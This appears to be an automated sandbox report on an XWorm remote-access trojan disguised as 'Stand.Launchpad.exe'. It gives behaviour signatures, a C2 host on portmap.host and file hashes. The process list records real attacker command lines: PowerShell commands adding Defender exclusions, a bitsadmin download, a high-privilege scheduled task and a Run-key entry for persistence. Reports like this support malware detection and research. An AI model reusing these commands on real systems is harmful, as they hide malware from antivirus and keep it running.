Analysis Overview
SHA256
a7caa09c1ee4b7523ff673a2b646ec4e39c3bbe3c59b443a31e362944ac9f4de
Threat Level: Known bad
The file Stand.Launchpad.exe was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Looks up external IP address via web service
Adds Run key to start application
Unsigned PE
Enumerates physical storage devices
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Creates scheduled task(s)
Download via BitsAdmin
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
Modifies registry class
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-31 20:35
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-31 20:35
Reported
2024-05-31 20:36
Platform
win11-20240508-en
Max time kernel
73s
Max time network
71s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe" | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Stand.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe
"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"
C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| N/A | 127.0.0.1:57023 | tcp | |
| US | 172.67.188.90:443 | stand.gg | tcp |
| US | 8.8.8.8:53 | 188.98.55.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.188.67.172.in-addr.arpa | udp |
| US | 172.67.188.90:443 | stand.gg | tcp |
| N/A | 127.0.0.1:57023 | tcp | |
| DE | 193.161.193.99:57023 | Name1442-57023.portmap.host | tcp |
Files
memory/2988-1-0x0000000000E60000-0x0000000000E88000-memory.dmp
memory/2988-0-0x00007FFCF3B93000-0x00007FFCF3B95000-memory.dmp
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
| MD5 | 86cfa35ef19ca1d1ed0dfbc031211833 |
| SHA1 | 871f69775937be2dd3b066d9747b69fc07ddc58d |
| SHA256 | f198341fbaac08171a208c4e61f6a47609cb0991d4c4e3f6741c1e281e17c5f5 |
| SHA512 | 5889f8b3c033342c8b3749ef5191dc1206da03f0c5327a11dcf0e0ba186ae8a71514993f484fdfbcd6bdb515167bedd73cf3d3a6c8d86056889a823bac485261 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stand.Launchpad.exe.log
| MD5 | 2cbbb74b7da1f720b48ed31085cbd5b8 |
| SHA1 | 79caa9a3ea8abe1b9c4326c3633da64a5f724964 |
| SHA256 | e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3 |
| SHA512 | ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9 |
memory/4600-17-0x00000000003B0000-0x00000000003D0000-memory.dmp
C:\Users\Admin\AppData\Roaming\Downloader.hta
| MD5 | 4ec749a8c1d7d0a4be501465d297d3dc |
| SHA1 | d7727cb4dc96d653bce6c6bbe70ff171ecc197b7 |
| SHA256 | 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6 |
| SHA512 | 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e |
memory/4600-19-0x00007FFCF3B90000-0x00007FFCF4652000-memory.dmp
memory/3836-20-0x000001EBBDE90000-0x000001EBBDEB2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhvatjc5.jij.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d0a4a3b9a52b8fe3b019f6cd0ef3dad6 |
| SHA1 | fed70ce7834c3b97edbd078eccda1e5effa527cd |
| SHA256 | 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31 |
| SHA512 | 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | df808b11175970c23f00e611a7b6d2cc |
| SHA1 | 0243f099e483fcafb6838c0055982e65634b6db6 |
| SHA256 | 2d5eec6aeee0c568d08cc1777a67b529dce3133efc761ef4b4643d4b2003d43d |
| SHA512 | c7c4e39be7cb6bfda48055cd2b0b05a6b6a71131a124730f62928600a5870303e06e3db54634c45f86310413126d2524f51002d5f36f7012e41b641992b5ac89 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | e07eea85a8893f23fb814cf4b3ed974c |
| SHA1 | 8a8125b2890bbddbfc3531d0ee4393dbbf5936fe |
| SHA256 | 83387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea |
| SHA512 | 9d4808d8a261005391388b85da79e4c5396bdded6e7e5ce3a3a23e7359d1aa1fb983b4324f97e0afec6e8ed9d898322ca258dd7cda654456dd7e84c9cbd509df |
memory/1904-66-0x000001ADDC070000-0x000001ADDC086000-memory.dmp
memory/4600-84-0x00007FFCF3B90000-0x00007FFCF4652000-memory.dmp